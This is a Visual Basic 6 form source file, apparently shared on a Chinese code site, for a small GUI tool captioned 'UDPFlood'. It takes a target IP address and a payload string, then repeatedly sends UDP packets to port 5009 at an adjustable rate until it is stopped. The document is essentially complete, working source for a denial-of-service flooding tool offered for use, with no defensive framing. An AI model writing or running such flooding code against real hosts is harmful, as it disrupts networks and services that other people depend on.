📄 main.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Begin VB.Form main
BorderStyle = 3 'Fixed Dialog
Caption = "UDPFlood"
ClientHeight = 2550
ClientLeft = 45
ClientTop = 330
ClientWidth = 3435
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 2550
ScaleWidth = 3435
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin VB.CommandButton Command3
Caption = "访问VB程序太平洋"
Height = 495
Left = 360
TabIndex = 6
Top = 1920
Width = 2775
End
Begin MSWinsockLib.Winsock Winsock1
Left = 1080
Top = 3000
_ExtentX = 741
_ExtentY = 741
_Version = 393216
Protocol = 1
End
Begin MSComctlLib.Slider Slider1
Height = 255
Left = 480
TabIndex = 5
Top = 1440
Width = 2415
_ExtentX = 4260
_ExtentY = 450
_Version = 393216
LargeChange = 1
Min = 1
Max = 9
SelStart = 1
Value = 1
End
Begin VB.CommandButton Command2
Caption = "停止"
Enabled = 0 'False
Height = 255
Left = 1800
TabIndex = 3
Top = 840
Width = 1215
End
Begin VB.CommandButton Command1
Caption = "开始"
Height = 255
Left = 360
TabIndex = 2
Top = 840
Width = 1215
End
Begin VB.TextBox Text2
Height = 285
Left = 360
TabIndex = 1
Text = "输入发送字节"
Top = 480
Width = 2655
End
Begin VB.TextBox Text1
Height = 285
Left = 360
TabIndex = 0
Top = 120
Width = 2655
End
Begin VB.Label Label1
Alignment = 2 'Center
Appearance = 0 'Flat
BackColor = &H80000005&
BackStyle = 0 'Transparent
BorderStyle = 1 'Fixed Single
Caption = "速度"
ForeColor = &H80000008&
Height = 615
Left = 360
TabIndex = 4
Top = 1200
Width = 2655
End
End
Attribute VB_Name = "main"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'任何问题联系QQ:39688620
Dim Number As Integer
Sub Timeout(interval)
'按照指定时间暂停
Dim Current
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub
Private Sub Command1_Click()
'避免出现IP错误,添加IP处理过程
For i = 1 To Len(Text1.Text) - 1
If Mid(Text1.Text, i, 1) = "." Then
Number = Number + 1
End If
Next i
If Number <> 3 Then
Me.Caption = "IP出错"
Exit Sub
End If
Dim varparts As Variant
varparts = Split(Text1.Text, ".")
For i = 0 To 3
If varparts(i) > 255 Or varparts(i) < 0 Then
Me.Caption = "IP出错"
Exit Sub
End If
Next i
Me.Caption = "发送中"
'设定按钮
Command2.Enabled = True
Command1.Enabled = False
'设定winsock
Winsock1.LocalPort = 2043
Winsock1.RemoteHost = Text1
Winsock1.RemotePort = 5009
'设定循环
Do
DoEvents
'发送信息
Winsock1.SendData Text2
DoEvents
'查询速度
If Slider1.Value = 9 Then Timeout (0.1)
If Slider1.Value = 8 Then Timeout (0.2)
If Slider1.Value = 7 Then Timeout (0.3)
If Slider1.Value = 6 Then Timeout (0.4)
If Slider1.Value = 5 Then Timeout (0.5)
If Slider1.Value = 4 Then Timeout (0.6)
If Slider1.Value = 3 Then Timeout (0.7)
If Slider1.Value = 2 Then Timeout (0.8)
If Slider1.Value = 1 Then Timeout (0.9)
If Slider1.Value = 0 Then Timeout (1)
Loop While Command1.Enabled = False
'关闭winsock
Winsock1.Close
Command1.Enabled = True
Command2.Enabled = False
Exit Sub
End Sub
Private Sub Command2_Click()
Me.Caption = "停止"
Command2.Enabled = False
Command1.Enabled = True
End Sub
Private Sub Command3_Click()
Shell ("Explorer Http://www.dapha.net"), vbMaximizedFocus
End Sub
Private Sub Form_Load()
Me.Top = 1 / 2 * Screen.Height
Me.Left = 1 / 2 * Screen.Width
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -